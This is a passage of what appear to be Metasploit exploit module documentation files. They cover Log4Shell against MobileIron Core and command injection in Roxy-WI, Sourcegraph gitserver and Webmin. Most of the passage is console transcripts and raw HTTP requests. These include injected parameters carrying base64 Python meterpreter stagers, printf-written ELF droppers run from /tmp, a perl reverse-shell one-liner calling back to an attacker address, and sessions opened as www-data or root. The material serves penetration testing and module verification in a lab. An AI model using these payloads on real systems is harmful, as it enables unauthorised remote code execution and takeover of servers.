msf6 exploit(linux/http/mobileiron_core_log4shell) > set LHOST 10.9.49.248
|
||||
LHOST => 10.9.49.248
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVHOST 10.9.49.248
|
||||
SRVHOST => 10.9.49.248
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVPORT 1389
|
||||
SRVPORT => 1389
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set RHOSTS 10.9.49.101
|
||||
RHOSTS => 10.9.49.101
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.9.49.248:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[+] Delivering the serialized Java object to execute the payload...
|
||||
[*] Command shell session 1 opened (10.9.49.248:4444 -> 10.9.49.101:35304) at 2022-07-29 10:19:58 -0700
|
||||
[*] Server stopped.
|
||||
|
||||
id
|
||||
uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)
|
||||
uname -a
|
||||
Linux lobster.example.com 3.10.0-1062.4.1.el7.x86_64 #1 SMP Fri Oct 18 17:15:30 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 10.9.49.101 - Command shell session 1 closed.
|
||||
```
|
||||
@@ -0,0 +1,392 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits an unauthenticated command injection vulnerability in Roxy-WI prior to version 6.1.1.0.
|
||||
Successful exploitation results in remote code execution under the context of the web server user.
|
||||
|
||||
Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.
|
||||
|
||||
### Setup
|
||||
|
||||
Roxy-WI requires Python and a web server to run. Please visit following url to find out required python and other packages.
|
||||
|
||||
First grab a vulnerable copy of the code from the release pages at https://github.com/hap-wi/roxy-wi/releases.
|
||||
You will likely want to grab version 6.1.0.0 from https://github.com/hap-wi/roxy-wi/archive/refs/tags/v6.1.0.0.tar.gz
|
||||
|
||||
Next follow the installation instructions at https://roxy-wi.org/installation.py#manual and be sure to replace `apache`
|
||||
with `www-data` where applicable if your using Debian or Ubuntu (they call this out in their instructions however
|
||||
it can be a bit hard to find which is why I'm noting it here).
|
||||
|
||||
Once you are done you should have a working copy of Roxy-Wi. Note that for some reason the login page didn't work for me
|
||||
in testing, however everything needed to test this module should be set up and operating as expected.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/roxy_wi_exec`
|
||||
4. Set `RHOST` to the address of the target Roxy-WI machine.
|
||||
5. Set `LHOST` to the address of your attacking machine.
|
||||
8. Run `exploit`
|
||||
9. Do: `run`
|
||||
10. You should get a shell as the user running the Roxy-WI server.
|
||||
|
||||
## Targets
|
||||
|
||||
### 0
|
||||
|
||||
This executes a Unix command.
|
||||
|
||||
### 1
|
||||
|
||||
This uses a Linux dropper to execute code.
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
|
||||
The base path to Roxy-WI. The default value is `/`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Roxy-WI 6.1.0.0 Ubuntu 22.04 GNU/Linux (x86_64) - Apache/2.4.52 / Python 3.10.4 / MySQL 8.0.29 With Unix In-Memory Target
|
||||
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/linux/http/roxy_wi_exec
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > show options
|
||||
|
||||
Module options (exploit/linux/http/roxy_wi_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:hos
|
||||
t:port][...]
|
||||
RHOSTS yes The target host(s), see https://github.com/rapid
|
||||
7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on
|
||||
. This must be an address on the local machine o
|
||||
r 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is ran
|
||||
domly generated)
|
||||
TARGETURI / yes The URI of the vulnerable instance
|
||||
URIPATH no The URI to use for this exploit (default is rand
|
||||
om)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 172.22.230.145 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix (In-Memory)
|
||||
|
||||
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > set RHOST 127.0.0.1
|
||||
RHOST => 127.0.0.1
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > set HttpTrace true
|
||||
HttpTrace => true
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.22.230.145:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 127.0.0.1:443 is vulnerable!
|
||||
####################
|
||||
# Request:
|
||||
####################
|
||||
POST /app/options.py HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 93
|
||||
|
||||
serv=127.0.0.1&ipbackend=%22%3b%20id%20%3b%23&alert_consumer=iufmgha&backend_server=127.0.0.1
|
||||
####################
|
||||
# Response:
|
||||
####################
|
||||
HTTP/1.1 200 OK
|
||||
Date: Mon, 25 Jul 2022 18:46:55 GMT
|
||||
Server: Apache/2.4.52 (Ubuntu)
|
||||
Vary: Accept-Encoding
|
||||
Transfer-Encoding: chunked
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
|
||||
<center><div class="alert alert-danger">Check the config file. Presence section configs and parameter haproxy_save_configs_dir</div>
|
||||
Content-type: text/html
|
||||
|
||||
<center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
|
||||
Content-type: text/html
|
||||
|
||||
<center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
|
||||
Content-type: text/html
|
||||
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
|
||||
[*] 127.0.0.1:443 is vulnerable!
|
||||
[+] The target is vulnerable. The device responded to exploitation with a 200 OK and test command successfully executed.
|
||||
[*] Exploiting...
|
||||
####################
|
||||
# Request:
|
||||
####################
|
||||
POST /app/options.py HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 760
|
||||
|
||||
serv=127.0.0.1&ipbackend=%22%3b%20echo%20exec\%28__import__\%28\%27base64\%27\%29.b64decode\%28__import__\%28\%27codecs\%27\%29.getencoder\%28\%27utf-8\%27\%29\%28\%27aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE3Mi4yMi4yMzAuMTQ1Jyw0NDQ0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc%2bSScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZShkKSkseydzJzpzfSkK\%27\%29\%5b0\%5d\%29\%29%20%7c%20exec%20%24%28which%20python%20%7c%7c%20which%20python3%20%7c%7c%20which%20python2%29%20-%20%3b%23&alert_consumer=gumovpt&backend_server=127.0.0.1
|
||||
[*] Sending stage (40164 bytes) to 172.22.230.145
|
||||
[*] Meterpreter session 1 opened (172.22.230.145:4444 -> 172.22.230.145:41506) at 2022-07-25 13:46:56 -0500
|
||||
####################
|
||||
# Response:
|
||||
####################
|
||||
No response received
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : gwillcox-Virtual-Machine
|
||||
OS : Linux 5.15.0-41-generic #44-Ubuntu SMP Wed Jun 22 14:20:53 UTC 2022
|
||||
Architecture : x64
|
||||
Meterpreter : python/linux
|
||||
meterpreter > pwd
|
||||
/var/www/haproxy-wi/app
|
||||
meterpreter > ls
|
||||
Listing: /var/www/haproxy-wi/app
|
||||
================================
|
||||
|
||||
Mode Size Type Last modified Name
|
||||
---- ---- ---- ------------- ----
|
||||
100664/rw-rw-r-- 83 fil 2022-06-30 02:43:57 -0500 .htaccess
|
||||
040755/rwxr-xr-x 4096 dir 2022-07-25 13:36:33 -0500 __pycache__
|
||||
100775/rwxrwxr-x 12822 fil 2022-06-30 02:43:57 -0500 add.py
|
||||
040775/rwxrwxr-x 4096 dir 2022-06-30 02:43:57 -0500 certs
|
||||
100775/rwxrwxr-x 4745 fil 2022-06-30 02:43:57 -0500 config.py
|
||||
100775/rwxrwxr-x 33194 fil 2022-06-30 02:43:57 -0500 create_db.py
|
||||
100775/rwxrwxr-x 14945 fil 2022-06-30 02:43:57 -0500 db_model.py
|
||||
100775/rwxrwxr-x 64688 fil 2022-06-30 02:43:57 -0500 funct.py
|
||||
100775/rwxrwxr-x 913 fil 2022-06-30 02:43:57 -0500 ha.py
|
||||
100775/rwxrwxr-x 8544 fil 2022-06-30 02:43:57 -0500 hapservers.py
|
||||
100775/rwxrwxr-x 3008 fil 2022-06-30 02:43:57 -0500 history.py
|
||||
100775/rwxrwxr-x 7145 fil 2022-06-30 02:43:57 -0500 login.py
|
||||
100775/rwxrwxr-x 1696 fil 2022-06-30 02:43:57 -0500 logs.py
|
||||
100775/rwxrwxr-x 1598 fil 2022-06-30 02:43:57 -0500 metrics.py
|
||||
100775/rwxrwxr-x 966 fil 2022-06-30 02:43:57 -0500 nettools.py
|
||||
100775/rwxrwxr-x 181104 fil 2022-06-30 02:43:57 -0500 options.py
|
||||
100775/rwxrwxr-x 4096 fil 2022-06-30 02:43:57 -0500 overview.py
|
||||
100775/rwxrwxr-x 1884 fil 2022-06-30 02:43:57 -0500 portscanner.py
|
||||
100775/rwxrwxr-x 1125 fil 2022-06-30 02:43:57 -0500 provisioning.py
|
||||
100644/rw-r--r-- 274432 fil 2022-07-25 13:41:13 -0500 roxy-wi.db
|
||||
100775/rwxrwxr-x 750 fil 2022-06-30 02:43:57 -0500 runtimeapi.py
|
||||
040775/rwxrwxr-x 4096 dir 2022-06-30 02:43:57 -0500 scripts
|
||||
100775/rwxrwxr-x 2486 fil 2022-06-30 02:43:57 -0500 sections.py
|
||||
100775/rwxrwxr-x 1580 fil 2022-06-30 02:43:57 -0500 servers.py
|
||||
100775/rwxrwxr-x 1826 fil 2022-06-30 02:43:57 -0500 smon.py
|
||||
100775/rwxrwxr-x 103924 fil 2022-06-30 02:43:57 -0500 sql.py
|
||||
040775/rwxrwxr-x 4096 dir 2022-06-30 02:43:57 -0500 templates
|
||||
100775/rwxrwxr-x 1361 fil 2022-06-30 02:43:57 -0500 users.py
|
||||
100775/rwxrwxr-x 4150 fil 2022-06-30 02:43:57 -0500 versions.py
|
||||
100775/rwxrwxr-x 2076 fil 2022-06-30 02:43:57 -0500 viewlogs.py
|
||||
100775/rwxrwxr-x 1150 fil 2022-06-30 02:43:57 -0500 viewsttats.py
|
||||
100775/rwxrwxr-x 1819 fil 2022-06-30 02:43:57 -0500 waf.py
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Roxy-WI 6.1.0.0 Ubuntu 22.04 GNU/Linux (x86_64) - Apache/2.4.52 / Python 3.10.4 / MySQL 8.0.29 With Linux Dropper Target
|
||||
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/linux/http/roxy_wi_exec
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > show options
|
||||
|
||||
Module options (exploit/linux/http/roxy_wi_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:hos
|
||||
t:port][...]
|
||||
RHOSTS yes The target host(s), see https://github.com/rapid
|
||||
7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on
|
||||
. This must be an address on the local machine o
|
||||
r 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is ran
|
||||
domly generated)
|
||||
TARGETURI / yes The URI of the vulnerable instance
|
||||
URIPATH no The URI to use for this exploit (default is rand
|
||||
om)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 172.22.230.145 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix (In-Memory)
|
||||
|
||||
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > set RHOST 127.0.0.1
|
||||
RHOST => 127.0.0.1
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > set HttpTrace true
|
||||
HttpTrace => true
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > set Target 1
|
||||
Target => 1
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > set payload linux/x64/shell/reverse_tcp
|
||||
payload => linux/x64/shell/reverse_tcp
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > show options
|
||||
|
||||
Module options (exploit/linux/http/roxy_wi_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:hos
|
||||
t:port][...]
|
||||
RHOSTS 127.0.0.1 yes The target host(s), see https://github.com/rapid
|
||||
7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on
|
||||
. This must be an address on the local machine o
|
||||
r 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is ran
|
||||
domly generated)
|
||||
TARGETURI / yes The URI of the vulnerable instance
|
||||
URIPATH no The URI to use for this exploit (default is rand
|
||||
om)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (linux/x64/shell/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 172.22.230.145 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Linux (Dropper)
|
||||
|
||||
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.22.230.145:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 127.0.0.1:443 is vulnerable!
|
||||
####################
|
||||
# Request:
|
||||
####################
|
||||
POST /app/options.py HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 93
|
||||
|
||||
serv=127.0.0.1&ipbackend=%22%3b%20id%20%3b%23&alert_consumer=oodqhqe&backend_server=127.0.0.1
|
||||
####################
|
||||
# Response:
|
||||
####################
|
||||
HTTP/1.1 200 OK
|
||||
Date: Mon, 25 Jul 2022 19:07:53 GMT
|
||||
Server: Apache/2.4.52 (Ubuntu)
|
||||
Vary: Accept-Encoding
|
||||
Transfer-Encoding: chunked
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
|
||||
<center><div class="alert alert-danger">Check the config file. Presence section configs and parameter haproxy_save_configs_dir</div>
|
||||
Content-type: text/html
|
||||
|
||||
<center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
|
||||
Content-type: text/html
|
||||
|
||||
<center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
|
||||
Content-type: text/html
|
||||
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
|
||||
[*] 127.0.0.1:443 is vulnerable!
|
||||
[+] The target is vulnerable. The device responded to exploitation with a 200 OK and test command successfully executed.
|
||||
[*] Exploiting...
|
||||
####################
|
||||
# Request:
|
||||
####################
|
||||
POST /app/options.py HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 939
|
||||
|
||||
serv=127.0.0.1&ipbackend=%22%3b%20printf%20%27\177\105\114\106\2\1\1\0\0\0\0\0\0\0\0\0\2\0\76\0\1\0\0\0\170\0\100\0\0\0\0\0\100\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\100\0\70\0\1\0\0\0\0\0\0\0\1\0\0\0\7\0\0\0\0\0\0\0\0\0\0\0\0\0\100\0\0\0\0\0\0\0\100\0\0\0\0\0\372\0\0\0\0\0\0\0\174\1\0\0\0\0\0\0\0\20\0\0\0\0\0\0\110\61\377\152\11\130\231\266\20\110\211\326\115\61\311\152\42\101\132\262\7\17\5\110\205\300\170\121\152\12\101\131\120\152\51\130\231\152\2\137\152\1\136\17\5\110\205\300\170\73\110\227\110\271\2\0\21\134\254\26\346\221\121\110\211\346\152\20\132\152\52\130\17\5\131\110\205\300\171\45\111\377\311\164\30\127\152\43\130\152\0\152\5\110\211\347\110\61\366\17\5\131\131\137\110\205\300\171\307\152\74\130\152\1\137\17\5\136\152\46\132\17\5\110\205\300\170\355\377\346%27%3e%3e/tmp/olXCy%20%3b%20chmod%20%2bx%20/tmp/olXCy%20%3b%20/tmp/olXCy%20%3b%20rm%20-f%20/tmp/olXCy%20%3b%23&alert_consumer=kvlkaqe&backend_server=127.0.0.1
|
||||
[*] Sending stage (38 bytes) to 172.22.230.145
|
||||
[*] Command shell session 2 opened (172.22.230.145:4444 -> 172.22.230.145:41508) at 2022-07-25 14:07:59 -0500
|
||||
i####################
|
||||
# Response:
|
||||
####################
|
||||
No response received
|
||||
d[*] Command Stager progress - 100.00% done (810/810 bytes)
|
||||
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
whoami
|
||||
www-data
|
||||
pwd
|
||||
/var/www/haproxy-wi/app
|
||||
ls
|
||||
__pycache__
|
||||
add.py
|
||||
certs
|
||||
config.py
|
||||
create_db.py
|
||||
db_model.py
|
||||
funct.py
|
||||
ha.py
|
||||
hapservers.py
|
||||
history.py
|
||||
login.py
|
||||
logs.py
|
||||
metrics.py
|
||||
nettools.py
|
||||
options.py
|
||||
overview.py
|
||||
portscanner.py
|
||||
provisioning.py
|
||||
roxy-wi.db
|
||||
runtimeapi.py
|
||||
scripts
|
||||
sections.py
|
||||
servers.py
|
||||
smon.py
|
||||
sql.py
|
||||
templates
|
||||
users.py
|
||||
versions.py
|
||||
viewlogs.py
|
||||
viewsttats.py
|
||||
waf.py
|
||||
```
|
||||
@@ -0,0 +1,95 @@
|
||||
## Vulnerable Application
|
||||
|
||||
A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute
|
||||
arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can
|
||||
then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a
|
||||
feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the
|
||||
commands that are able to be executed through the git exec REST API.
|
||||
|
||||
The cloned repositories can be enumerated from the `/list` endpoint using the curl command:
|
||||
`curl http://$target:3178/list?cloned=true`
|
||||
|
||||
## Verification Steps
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install the application (see detailed Docker Installation section below)
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploits/linux/http/sourcegraph_gitserver_sshcmd`
|
||||
4. Set the `RHOSTS`, `PAYLOAD` and any payload related options that are necessary
|
||||
5. Do: `run`
|
||||
|
||||
### Docker Installation
|
||||
1. Run the following command to start the all-inclusive docker container for Sourcegraph v3.36.3.
|
||||
|
||||
```
|
||||
docker run \
|
||||
--publish 3178:3178 \
|
||||
--publish 7080:7080 \
|
||||
--publish 127.0.0.1:3370:3370 \
|
||||
--rm \
|
||||
--volume /tmp/sourcegraph/config:/etc/sourcegraph \
|
||||
--volume /tmp/sourcegraph/data:/var/opt/sourcegraph \
|
||||
sourcegraph/server:3.36.3
|
||||
```
|
||||
2. Once the service has started, navigate to the webinterface at http://localhost:7080
|
||||
3. When prompted, create an administrator's account
|
||||
4. At least one git repository must be added, complete the following steps to add one.
|
||||
1. Navigate to `Repositories > Managed code hosts`
|
||||
2. Select "Generic Git host"
|
||||
3. When prompted, use the following example JSON code to clone Metasploit.
|
||||
|
||||
```
|
||||
{
|
||||
"url": "https://github.com/",
|
||||
"repos": [
|
||||
"rapid7/metasploit-framework.git"
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### EXISTING_REPO
|
||||
|
||||
An existing, cloned repository. If this value is not set, a random one will be selected from the server.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Docker v3.36.3
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/sourcegraph_gitserver_sshcmd
|
||||
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set RHOSTS 192.168.159.128
|
||||
RHOSTS => 192.168.159.128
|
||||
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set TARGET Unix\ Command
|
||||
TARGET => Unix Command
|
||||
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
|
||||
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set LHOST 192.168.250.134
|
||||
LHOST => 192.168.250.134
|
||||
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > check
|
||||
[+] 192.168.159.128:3178 - The target is vulnerable. Successfully set core.sshCommand.
|
||||
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.250.134:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Successfully set core.sshCommand.
|
||||
[*] Using automatically identified repository: github.com/zerosteiner/gh-sandbox
|
||||
[*] Executing Unix Command target
|
||||
[*] Sending stage (40168 bytes) to 172.17.0.2
|
||||
[*] Sending stage (40168 bytes) to 172.17.0.2
|
||||
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 172.17.0.2:59116) at 2022-07-08 17:23:15 -0400
|
||||
[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 172.17.0.2:59124) at 2022-07-08 17:23:15 -0400
|
||||
|
||||
meterpreter >
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : caab8e904df4
|
||||
OS : Linux 5.17.12-100.fc34.x86_64 #1 SMP PREEMPT Mon May 30 17:47:02 UTC 2022
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,103 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits an arbitrary command injection in Webmin versions prior to
|
||||
1.997.
|
||||
|
||||
Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform package
|
||||
updates and installation. Due to a lack of input sanitization, it is possible to
|
||||
inject an arbitrary command that will be concatenated to the package manager call.
|
||||
|
||||
This exploit requires authentication and the account must have access to the
|
||||
Software Package Updates module.
|
||||
|
||||
## Installation
|
||||
|
||||
### Ubuntu
|
||||
- Download a vulnerable version: http://prdownloads.sourceforge.net/webadmin/webmin_1.996_all.deb
|
||||
- Install it along with its dependencies (`libio-pty-perl` required when installing on Ubuntu 20.04)
|
||||
```
|
||||
apt-get install libauthen-pam-perl libio-pty-perl
|
||||
dpkg -i ./webmin_1.996_all.deb
|
||||
```
|
||||
|
||||
## Setup
|
||||
- Go to `https://<target IP>:10000/`
|
||||
- Login as `root` with the OS password
|
||||
- Create a new user:
|
||||
`Webmin > Webmin Users > Create a new privileged user > enter the username and password > click Create`
|
||||
- Setup permissions
|
||||
`Click on the username > Available Webmin modules > select "Software Package Updates" in the System module list > Save`
|
||||
|
||||
## Verification Steps
|
||||
1. Install and setup the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/linux/http/webmin_package_updates_rce`
|
||||
1. Do: `run lhost=<local IP> rhosts=<target IP> username=<username> password=<user password>`
|
||||
1. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
|
||||
Set this to the Webmin base path. The default is `/`.
|
||||
|
||||
### USERNAME
|
||||
|
||||
The account username to use.
|
||||
|
||||
### PASSWORD
|
||||
|
||||
The account password.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Webmin 1.996 on Ubuntu 18.04
|
||||
- Target 0 (`Unix In-Memory`)
|
||||
```
|
||||
msf6 exploit(linux/http/webmin_package_updates_rce) > run lhost=192.168.0.2 verbose=true rhosts=192.168.0.23 username=msfuser password=123456
|
||||
|
||||
[+] perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"192.168.0.2:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
|
||||
[*] Started reverse TCP handler on 192.168.0.2:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Webmin 1.996 detected
|
||||
[+] Webmin 1.996 is a supported target
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Attempting login
|
||||
[+] Logged in!
|
||||
[*] Sending payload
|
||||
[*] Command shell session 4 opened (192.168.0.2:4444 -> 192.168.0.23:51860) at 2022-08-03 11:26:01 +0200
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
|
||||
cat /etc/issue
|
||||
Ubuntu 18.04.6 LTS \n \l
|
||||
```
|
||||
|
||||
- Target 1 (`Linux Dropper`)
|
||||
```
|
||||
msf6 exploit(linux/http/webmin_package_updates_rce) > run lhost=192.168.0.2 verbose=true rhosts=192.168.0.23 username=msfuser password=123456
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.0.2:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Webmin 1.996 detected
|
||||
[+] Webmin 1.996 is a supported target
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Attempting login
|
||||
[+] Logged in!
|
||||
[*] Sending payload
|
||||
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCokAFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/abOFM.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/IBkCa' < '/tmp/abOFM.b64' ; chmod +x '/tmp/IBkCa' ; '/tmp/IBkCa' ; rm -f '/tmp/IBkCa' ; rm -f '/tmp/abOFM.b64'"]
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3020772 bytes) to 192.168.0.23
|
||||
